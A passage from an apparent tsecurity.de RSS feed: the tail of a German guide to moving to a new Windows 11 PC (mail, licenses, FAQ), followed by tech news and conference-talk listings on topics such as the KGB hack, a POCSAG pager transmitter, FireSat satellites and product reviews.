<p>Aufwendiger wird es, wenn Sie Ihre Mails bisher per POP3 abrufen. In diesem Fall liegen viele Nachrichten oft nur lokal auf dem alten Rechner. Dann sollten Sie das Postfach vor dem Wechsel sichern. Dafür eignet sich etwa <a href="https://www.pcwelt.de/article/1143948/e-mails-verwalten-mailstore-home.html">MailStore Home</a>, das für die private Nutzung kostenlos ist. Das Programm archiviert lokale Mailbestände und kann sie anschließend wieder exportieren.</p>



<p>Erstellen Sie zunächst auf dem alten PC mit MailStore Home ein Backup Ihres POP3-Postfachs und sichern Sie dieses auf einem externen Datenträger. Auf dem neuen PC installieren Sie Ihr Mailprogramm sowie MailStore Home. Dort laden Sie die Sicherung und exportieren die Nachrichten über „E-Mails exportieren“ in ein IMAP-Postfach.</p>



<p>Damit wandern die bisher nur lokal gespeicherten Mails auf den Server Ihres Providers. Anschließend stehen sie nicht nur auf dem neuen Windows-PC, sondern auch auf Smartphone, Tablet und im Webmailer synchron zur Verfügung. </p>



<p>Der Wechsel von POP3 zu IMAP lohnt sich daher besonders, wenn Sie Ihre E-Mails künftig auf mehreren Geräten nutzen möchten.</p>



<h2 class="wp-block-heading">Vor dem Umzug: Das sollten Sie beachten</h2>



<p>Unabhängig vom gewählten Programm sollten Sie vorab ein vollständiges Backup Ihrer wichtigen Daten auf einem externen Datenträger anlegen. Geht beim Transfer etwas schief, haben Sie eine unabhängige Kopie zur Hand.</p>



<p>Notieren Sie außerdem Lizenzschlüssel kostenpflichtiger Programme. Kostenlose Tools wie <a href="https://www.nirsoft.net/utils/product_cd_key_viewer.html" target="_blank" rel="noreferrer noopener">ProduKey </a>können gespeicherte Produktschlüssel auslesen, ersetzen aber keine vollständige Lizenzverwaltung – prüfen Sie daher zusätzlich die Kundenkonten der jeweiligen Softwareanbieter.</p>



<p>Manche Anwendungen verlangen nach dem Umzug eine erneute Aktivierung. Bei Programmen mit Gerätebindung kann es nötig sein, die Lizenz auf dem alten PC vorher zu deaktivieren oder im Kundenkonto freizugeben.</p>



<p>Bei Microsoft Office hängt der Aufwand von der Lizenz ab. Ein Microsoft-365-Abo oder eine an das Microsoft-Konto gebundene Office-Lizenz richten Sie auf dem neuen PC meist einfach erneut über das Konto ein. Ältere Einzelplatzlizenzen ohne Kontobindung können komplizierter sein.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5c8db0d795e"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/Office365-Konto-Info.png?w=1200" alt="Office365 Konto-Info" class="wp-image-3178971" width="1200" height="581" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Prüfen Sie überdies, ob alle wichtigen Programme unter Windows 11 laufen. Sehr alte Tools, Spezialsoftware, Treiberpakete, Scanner-Software oder ältere VPN-Clients können Probleme verursachen. Hier ist eine Neuinstallation oft sauberer als eine blinde Übernahme.</p>



<p><strong>Wichtiger Vorab-Tipp:</strong> Deinstallieren Sie auf dem alten PC vor dem Umzug alte Druckertreiber oder tief ins System eingreifende Software (wie Antivirenprogramme von Drittanbietern). Solche Systemkomponenten werden von Umzugsprogrammen manchmal fälschlicherweise mitkopiert und können das neue Windows 11-System instabil machen.</p>



<p>Planen Sie für einen gut gefüllten PC genügend Zeit ein. Je nach Datenmenge dauert die Übertragung von einer bis zu mehreren Stunden.</p>



<p>Nach dem Umzug sollten Sie Windows Update ausführen, Programme starten, Drucker prüfen, Cloud-Synchronisierung kontrollieren und wichtige Dateien stichprobenartig öffnen.</p>



<div class="wp-block-idg-base-theme-faq-block faq-block"><h2 class="faq-block-title"> FAQ </h2><hr class="block-horizotal-divider">
<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">1.</span>
<h3 class="wp-block-heading"><strong>Kann ich Programme einfach vom alten PC auf den neuen kopieren?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Nein, in der Regel reicht das Kopieren des Programmordners nicht aus. Viele Anwendungen legen Einträge in der Windows-Registry an, speichern Lizenzdaten an anderen Stellen oder installieren zusätzliche Komponenten. Deshalb müssen Programme entweder neu installiert oder mit spezieller Umzugssoftware übertragen werden.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">2.</span>
<h3 class="wp-block-heading"><strong>Was ist besser: Umzugssoftware oder Neuinstallation?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Das hängt vom Zustand des alten PCs ab. Ist das System gut gepflegt und sollen viele Programme mitkommen, spart Umzugssoftware viel Zeit. Ist der alte Rechner dagegen über Jahre langsam, unübersichtlich oder fehleranfällig geworden, ist eine saubere Neuinstallation oft die bessere Wahl. Dann übernehmen Sie nur Daten und installieren Programme gezielt neu.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">3.</span>
<h3 class="wp-block-heading"><strong>Werden auch Passwörter und Browserdaten übertragen?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Teilweise. Browserdaten wie Lesezeichen, Verlauf und Erweiterungen lassen sich meist über das jeweilige Browserkonto synchronisieren, etwa bei Edge, Chrome oder Firefox. Gespeicherte Passwörter sollten Sie vor dem Umzug prüfen und am besten zusätzlich in einem Passwortmanager sichern. Verlassen Sie sich nicht ausschließlich darauf, dass eine Umzugssoftware alle Zugangsdaten vollständig übernimmt.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">4.</span>
<h3 class="wp-block-heading"><strong>Muss der alte PC während des Umzugs weiter funktionieren?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Für den direkten Transfer über das Netzwerk ja. Beide Rechner müssen eingeschaltet und erreichbar sein. Alternativ können einige Programme ein Umzugsabbild auf einer externen Festplatte erstellen. Das ist praktisch, wenn der neue PC noch nicht bereitsteht oder der alte Rechner nur noch eingeschränkt nutzbar ist.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">5.</span>
<h3 class="wp-block-heading"><strong>Was sollte ich nach dem Umzug zuerst prüfen?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Starten Sie den neuen PC neu und führen Sie Windows Update aus. Danach sollten Sie wichtige Programme öffnen, Lizenzaktivierungen kontrollieren, Drucker und Scanner testen, Mailkonten prüfen und sicherstellen, dass Cloud-Dienste wie OneDrive vollständig synchronisieren. Öffnen Sie außerdem stichprobenartig wichtige Dokumente, Bilder und Projektordner.</p>
</div>
</div></div>
</div>



<p></p>



<p></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kein USB-Stick zur Hand? So verschiebst du ganz einfach Daten von einem PC zum anderen]]></title>
<description><![CDATA[Wer Daten von einem PC zum anderen transferieren will, greift häufig zu externen Datenträgern wie USB-Sticks. Doch was, wenn du keinen Speicher griffbereit hast? Dann gibt es noch weitere Methoden, um die Daten zu übertragen.
weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3678970/it-nachrichten/kein-usb-stick-zur-hand-so-verschiebst-du-ganz-einfach-daten-von-einem-pc-zum-anderen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678970/it-nachrichten/kein-usb-stick-zur-hand-so-verschiebst-du-ganz-einfach-daten-von-einem-pc-zum-anderen/</guid>
<pubDate>Sun, 19 Jul 2026 08:17:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Wer Daten von einem PC zum anderen transferieren will, greift häufig zu externen Datenträgern wie USB-Sticks. Doch was, wenn du keinen Speicher griffbereit hast? Dann gibt es noch weitere Methoden, um die Daten zu übertragen.
<a href="https://t3n.de/news/daten-pc-verschieben-ohne-usb-stick-1752638/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wochenrück- und Ausblick: Ganz nach oben mit dem Ryzen 7 7700X3D und der DJI EV50]]></title>
<description><![CDATA[AMD gibt Spielern mit dem Ryzen 7 7700X3D einen neuen 8-Kern-Prozessor zur Hand, der neben hoher Spieleleistung mit hoher Effizienz noch vor dem Ryzen 7 7800X3D punktet. Zum Marktstart fällt der Preis aber noch zu hoch aus, außerdem zieht Intel in Anwendungen weiter davon. Die CPU hat diese Woche...]]></description>
<link>https://tsecurity.de/de/3678955/it-nachrichten/wochenrueck-und-ausblick-ganz-nach-oben-mit-dem-ryzen-7-7700x3d-und-der-dji-ev50/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678955/it-nachrichten/wochenrueck-und-ausblick-ganz-nach-oben-mit-dem-ryzen-7-7700x3d-und-der-dji-ev50/</guid>
<pubDate>Sun, 19 Jul 2026 08:01:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/8/3/8-f3c5b158271d04e3/article-640x360.cbfe8e9e.jpg"><p>AMD gibt Spielern mit dem Ryzen 7 7700X3D einen neuen 8-Kern-Prozessor zur Hand, der neben hoher Spieleleistung mit hoher Effizienz noch vor dem Ryzen 7 7800X3D punktet. Zum Marktstart fällt der Preis aber noch zu hoch aus, außerdem zieht Intel in Anwendungen weiter davon. Die CPU hat diese Woche die meisten Leser angezogen.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vom Hacker zum Spion - die Geschichte des KGB-Hacks der 1980 Jahre (hackover2026)]]></title>
<description><![CDATA[Markus Hess wird aus erste Hand über seine Rolle als KGB-Hacker, die technischen Möglichkeiten und Methoden jener Zeit, seine Motivation sowie die Lehren für heutige IT-Sicherheits- und Resilienzfragen berichten.

In den späten 1980er-Jahren war Markus Hess maßgeblich an einer der bedeutendsten S...]]></description>
<link>https://tsecurity.de/de/3678821/it-security-video/vom-hacker-zum-spion-die-geschichte-des-kgb-hacks-der-1980-jahre-hackover2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678821/it-security-video/vom-hacker-zum-spion-die-geschichte-des-kgb-hacks-der-1980-jahre-hackover2026/</guid>
<pubDate>Sun, 19 Jul 2026 05:47:54 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Markus Hess wird aus erste Hand über seine Rolle als KGB-Hacker, die technischen Möglichkeiten und Methoden jener Zeit, seine Motivation sowie die Lehren für heutige IT-Sicherheits- und Resilienzfragen berichten.

In den späten 1980er-Jahren war Markus Hess maßgeblich an einer der bedeutendsten Spionage- und Hackeraktivitäten des Kalten Krieges beteiligt. Als Teil der sogenannten KGB-Hack-Affäre verschaffte er sich Zugriff auf westliche Computersysteme und leitete militärische und wissenschaftliche Informationen an den sowjetischen Geheimdienst weiter.
Nach der Zerschlagung der Hackergruppe wurde er 1990 wegen geheimdienstlicher Agententätigkeit verurteilt.
In diesem Vortrag wird er die Geschichte aus einer sehr persönlichen Sicht - mal ernst, mal anekdotisch - über die Anfänge der Cyberspionage erzählen.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://talks.hackover.de/ho26/talk/GQMX88/]]></content:encoded>
</item>
<item>
<title><![CDATA[Vom Hacker zum Spion - die Geschichte des KGB-Hacks der 1980 Jahre (hackover2026)]]></title>
<description><![CDATA[Markus Hess wird aus erste Hand über seine Rolle als KGB-Hacker, die technischen Möglichkeiten und Methoden jener Zeit, seine Motivation sowie die Lehren für heutige IT-Sicherheits- und Resilienzfragen berichten.

In den späten 1980er-Jahren war Markus Hess maßgeblich an einer der bedeutendsten S...]]></description>
<link>https://tsecurity.de/de/3678787/it-security-video/vom-hacker-zum-spion-die-geschichte-des-kgb-hacks-der-1980-jahre-hackover2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678787/it-security-video/vom-hacker-zum-spion-die-geschichte-des-kgb-hacks-der-1980-jahre-hackover2026/</guid>
<pubDate>Sun, 19 Jul 2026 05:01:50 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Markus Hess wird aus erste Hand über seine Rolle als KGB-Hacker, die technischen Möglichkeiten und Methoden jener Zeit, seine Motivation sowie die Lehren für heutige IT-Sicherheits- und Resilienzfragen berichten.

In den späten 1980er-Jahren war Markus Hess maßgeblich an einer der bedeutendsten Spionage- und Hackeraktivitäten des Kalten Krieges beteiligt. Als Teil der sogenannten KGB-Hack-Affäre verschaffte er sich Zugriff auf westliche Computersysteme und leitete militärische und wissenschaftliche Informationen an den sowjetischen Geheimdienst weiter.
Nach der Zerschlagung der Hackergruppe wurde er 1990 wegen geheimdienstlicher Agententätigkeit verurteilt.
In diesem Vortrag wird er die Geschichte aus einer sehr persönlichen Sicht - mal ernst, mal anekdotisch - über die Anfänge der Cyberspionage erzählen.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://talks.hackover.de/ho26/talk/GQMX88/]]></content:encoded>
</item>
<item>
<title><![CDATA[EU Orders Google to Open Search Data and Android Features to Competitors Amid Privacy, Security Concerns]]></title>
<description><![CDATA[The European Commission has officially instructed Google to hand over its internal search registry to direct marketplace competitors. This groundbreaking legal command forces the massive American search provider to open its popular Android operating system to rival software tools. The binding spe...]]></description>
<link>https://tsecurity.de/de/3678341/it-security-nachrichten/eu-orders-google-to-open-search-data-and-android-features-to-competitors-amid-privacy-security-concerns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678341/it-security-nachrichten/eu-orders-google-to-open-search-data-and-android-features-to-competitors-amid-privacy-security-concerns/</guid>
<pubDate>Sat, 18 Jul 2026 19:53:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The European Commission has officially instructed Google to hand over its internal search registry to direct marketplace competitors. This groundbreaking legal command forces the massive American search provider to open its popular Android operating system to rival software tools. The binding specifications, which officials issued under the strict European Digital Markets Act, represent a major […]</p>
<p>The post <a href="https://privacysavvy.com/news/cybersecurity/eu-orders-google-open-search-data-android-features/">EU Orders Google to Open Search Data and Android Features to Competitors Amid Privacy, Security Concerns</a> appeared first on <a href="https://privacysavvy.com/">PrivacySavvy</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a tiny paging network (emf2026)]]></title>
<description><![CDATA[Beep! A Brief History of UK Paging — and How to Build Your Own Transmitter

Before smartphones, before SMS, before push notifications — there was the pager. For three decades, paging networks formed the invisible backbone of British communications, keeping doctors on call, field engineers reachab...]]></description>
<link>https://tsecurity.de/de/3678323/it-security-video/building-a-tiny-paging-network-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678323/it-security-video/building-a-tiny-paging-network-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 19:22:53 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Beep! A Brief History of UK Paging — and How to Build Your Own Transmitter

Before smartphones, before SMS, before push notifications — there was the pager. For three decades, paging networks formed the invisible backbone of British communications, keeping doctors on call, field engineers reachable, and a generation of teenagers mysteriously popular.

This talk traces the arc of paging in the UK, from the launch of the first commercial paging service by British Telecom in the 1950s through to the golden era of consumer paging in the 1980s and 90s. We'll look at the major networks — PageOne, Vodafone &amp; BT  — and the protocols that underpinned them: POCSAG, the workhorse standard developed at the Post Office Research Centre, and FLEX, Motorola's higher-speed successor. We'll touch on why paging quietly outlasted the first wave of mobile phones in critical sectors, and why a small but dedicated community still relies on them today.

Then we get hands-on. Using an ESP32 and an SX1262 LoRa module — total cost under £15 — I'll demonstrate a working POCSAG transmitter built entirely with open-source tools like RadioLib. We'll send a real message, to a 30 year old pager and show how it can be useful today.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/47-building-a-tiny-paging-network]]></content:encoded>
</item>
<item>
<title><![CDATA[Sensing Our World: From Your Badge to the Future of Robotics (emf2026)]]></title>
<description><![CDATA[Micro-Electro-Mechanical Systems (MEMS) are the tiny, unseen sensors that connect our digital and physical worlds. They're in our phones, our cars, and even in the Tildagon badge you're holding. But how do these microscopic marvels actually work?

In this talk, Harald Koenig of Bosch Sensortec wi...]]></description>
<link>https://tsecurity.de/de/3678305/it-security-video/sensing-our-world-from-your-badge-to-the-future-of-robotics-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678305/it-security-video/sensing-our-world-from-your-badge-to-the-future-of-robotics-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 19:10:07 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Micro-Electro-Mechanical Systems (MEMS) are the tiny, unseen sensors that connect our digital and physical worlds. They're in our phones, our cars, and even in the Tildagon badge you're holding. But how do these microscopic marvels actually work?

In this talk, Harald Koenig of Bosch Sensortec will demystify MEMS technology. We’ll start with a hands-on example: the BMI270 Inertial Measurement Unit (IMU) right here on the Tildagon. With the help of an enlarged 3D-printed model, we'll explore its mechanical design and see how you can use it to bring your own Tildagon projects to life.

Then, we’ll transition from this single sensor to the bigger picture. Imagine giving this same sense of awareness to a machine. This is the new frontier in robotics. We'll explore how MEMS sensors are becoming the 'nervous system' for robots, enabling them to:
    • Grasp and Interact with the delicacy of a human hand.
    • Navigate and Position themselves with unmatched precision.
    • Stabilize their platforms on even the most challenging terrains.

Join us for an impulse into how MEMS are not just sensing our world, but actively shaping the next wave of intelligent machines.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/131-sensing-our-world-from-your-badge-to-the-future-of-robotics]]></content:encoded>
</item>
<item>
<title><![CDATA[Sensing Our World: From Your Badge to the Future of Robotics (emf2026)]]></title>
<description><![CDATA[Micro-Electro-Mechanical Systems (MEMS) are the tiny, unseen sensors that connect our digital and physical worlds. They're in our phones, our cars, and even in the Tildagon badge you're holding. But how do these microscopic marvels actually work?

In this talk, Harald Koenig of Bosch Sensortec wi...]]></description>
<link>https://tsecurity.de/de/3678293/it-security-video/sensing-our-world-from-your-badge-to-the-future-of-robotics-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678293/it-security-video/sensing-our-world-from-your-badge-to-the-future-of-robotics-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 18:48:41 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Micro-Electro-Mechanical Systems (MEMS) are the tiny, unseen sensors that connect our digital and physical worlds. They're in our phones, our cars, and even in the Tildagon badge you're holding. But how do these microscopic marvels actually work?

In this talk, Harald Koenig of Bosch Sensortec will demystify MEMS technology. We’ll start with a hands-on example: the BMI270 Inertial Measurement Unit (IMU) right here on the Tildagon. With the help of an enlarged 3D-printed model, we'll explore its mechanical design and see how you can use it to bring your own Tildagon projects to life.

Then, we’ll transition from this single sensor to the bigger picture. Imagine giving this same sense of awareness to a machine. This is the new frontier in robotics. We'll explore how MEMS sensors are becoming the 'nervous system' for robots, enabling them to:
    • Grasp and Interact with the delicacy of a human hand.
    • Navigate and Position themselves with unmatched precision.
    • Stabilize their platforms on even the most challenging terrains.

Join us for an impulse into how MEMS are not just sensing our world, but actively shaping the next wave of intelligent machines.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/131-sensing-our-world-from-your-badge-to-the-future-of-robotics]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a tiny paging network (emf2026)]]></title>
<description><![CDATA[Beep! A Brief History of UK Paging — and How to Build Your Own Transmitter

Before smartphones, before SMS, before push notifications — there was the pager. For three decades, paging networks formed the invisible backbone of British communications, keeping doctors on call, field engineers reachab...]]></description>
<link>https://tsecurity.de/de/3678292/it-security-video/building-a-tiny-paging-network-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678292/it-security-video/building-a-tiny-paging-network-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 18:48:40 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Beep! A Brief History of UK Paging — and How to Build Your Own Transmitter

Before smartphones, before SMS, before push notifications — there was the pager. For three decades, paging networks formed the invisible backbone of British communications, keeping doctors on call, field engineers reachable, and a generation of teenagers mysteriously popular.

This talk traces the arc of paging in the UK, from the launch of the first commercial paging service by British Telecom in the 1950s through to the golden era of consumer paging in the 1980s and 90s. We'll look at the major networks — PageOne, Vodafone &amp; BT  — and the protocols that underpinned them: POCSAG, the workhorse standard developed at the Post Office Research Centre, and FLEX, Motorola's higher-speed successor. We'll touch on why paging quietly outlasted the first wave of mobile phones in critical sectors, and why a small but dedicated community still relies on them today.

Then we get hands-on. Using an ESP32 and an SX1262 LoRa module — total cost under £15 — I'll demonstrate a working POCSAG transmitter built entirely with open-source tools like RadioLib. We'll send a real message, to a 30 year old pager and show how it can be useful today.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/47-building-a-tiny-paging-network]]></content:encoded>
</item>
<item>
<title><![CDATA[Surprise! Facial recognition smart locks are actually good]]></title>
<description><![CDATA[Hands-free unlocking is the future of smart locks. The best smart home tech removes friction, and having your door unlock for you as you walk up is as frictionless as it gets - no passcodes to remember, no need to have a free hand to wave, press, or poke at the lock. One way to […]]]></description>
<link>https://tsecurity.de/de/3678114/it-nachrichten/surprise-facial-recognition-smart-locks-are-actually-good/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678114/it-nachrichten/surprise-facial-recognition-smart-locks-are-actually-good/</guid>
<pubDate>Sat, 18 Jul 2026 16:03:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Hands-free unlocking is the future of smart locks. The best smart home tech removes friction, and having your door unlock for you as you walk up is as frictionless as it gets - no passcodes to remember, no need to have a free hand to wave, press, or poke at the lock. One way to […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Google-Backed Satellites For Wildfire Detection Launch As Smoke Chokes US, Canada]]></title>
<description><![CDATA[An anonymous reader quotes a report from Ars Technica: As smoke from hundreds of burning wildfires spread across Canada and the United States, the first three operational satellites in the Google-backed FireSat program successfully launched into orbit. The satellites will begin providing wildfire...]]></description>
<link>https://tsecurity.de/de/3677874/it-security-nachrichten/google-backed-satellites-for-wildfire-detection-launch-as-smoke-chokes-us-canada/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677874/it-security-nachrichten/google-backed-satellites-for-wildfire-detection-launch-as-smoke-chokes-us-canada/</guid>
<pubDate>Sat, 18 Jul 2026 13:08:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Ars Technica: As smoke from hundreds of burning wildfires spread across Canada and the United States, the first three operational satellites in the Google-backed FireSat program successfully launched into orbit. The satellites will begin providing wildfire detection capable of spotting even small fires in the United States, Australia, and Europe before the end of the year. The launch of the microsatellites aboard a SpaceX Falcon 9 rocket from Vandenberg Space Force Base in California on July 7, 2026 marks a transition to "initial operational capability" for the FireSat constellation managed by the nonprofit Earth Fire Alliance. After a three-month testing period, the three satellites will begin actively providing data to fire agencies while covering every fire-prone region on Earth at least twice per day.
 
FireSat represents the first satellite constellation purpose-built for detecting wildfires, including spotting smaller fires that other satellites may miss. The satellites were designed by California-based satellite manufacturer Muon Space and have received over $15 million from Google to support initial deployment. Other notable financial supporters include the Bezos Earth Fund that committed $26 million. Each satellite is equipped with multispectral imaging that can peer through smoke and clouds and detect fires as small as five by five meters -- about 16 by 16 feet. That capability was proven by a FireSat Protoflight satellite that launched in March 2025 and collected more than one million images, while showing it could detect low-intensity blazes invisible to existing satellites.
 
The "early adopter" organizations that will start using FireSat data this year include fire agencies in California, Colorado, Australia, and Portugal. As more satellites launch, the FireSat program aims to provide the latest imagery anywhere in the world on an hourly basis by 2029. Such imagery would eventually become available every 20 minutes once the full constellation of more than 50 satellites is launched by the early 2030s. Detection of small wildfires before they burn out of control could prove extremely helpful. The Earth Fire Alliance has projected that even an hourly revisit rate by the FireSat constellation could help save more than $1 billion in fire damage costs and prevent nearly 22 million tons of carbon emissions, along with protecting 3,500 homes and 1.3 million acres of land.
 
To assist with that capability, Google Research plans to use the company's AI models to compare operational FireSat data with historical images in order to accurately identify very small fires and to inform predictive modeling of wildfires. Google celebrated the launch of the first operational FireSat satellites by describing the event as "another tangible step forward in putting practical AI to work for climate resilience."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Google-Backed+Satellites+For+Wildfire+Detection+Launch+As+Smoke+Chokes+US%2C+Canada%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F18%2F0436243%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F18%2F0436243%2Fgoogle-backed-satellites-for-wildfire-detection-launch-as-smoke-chokes-us-canada%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/18/0436243/google-backed-satellites-for-wildfire-detection-launch-as-smoke-chokes-us-canada?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Notebooksbilliger: Angebote der Woche stark reduziert 18. Juli]]></title>
<description><![CDATA[Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3677621/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-18-juli/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677621/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-18-juli/</guid>
<pubDate>Sat, 18 Jul 2026 09:38:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784359511"><img hspace="5" border="0" align="left" alt="NBB, Notebooksbilliger, nbb.com, ADW, Angebote der Woche" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/65494.png"></a>
			Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784359511">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Oura Ring 5 im Test: Ein Durchbruch bei den Smart-Ringen]]></title>
<description><![CDATA[Mike Sawh



Auf einen Blick



Pro




Unglaublich schlank und leicht



Verbesserte Akkulaufzeit



Verarbeitungsqualität und Farbauswahl



Die Begleit-App ist nach wie vor die beste




Kontra




leichte Preiserhöhung



Erfordert ein Abonnement




Fazit



Der Oura Ring 5 ist der elegantes...]]></description>
<link>https://tsecurity.de/de/3677423/it-security-nachrichten/oura-ring-5-im-test-ein-durchbruch-bei-den-smart-ringen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677423/it-security-nachrichten/oura-ring-5-im-test-ein-durchbruch-bei-den-smart-ringen/</guid>
<pubDate>Sat, 18 Jul 2026 06:07:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
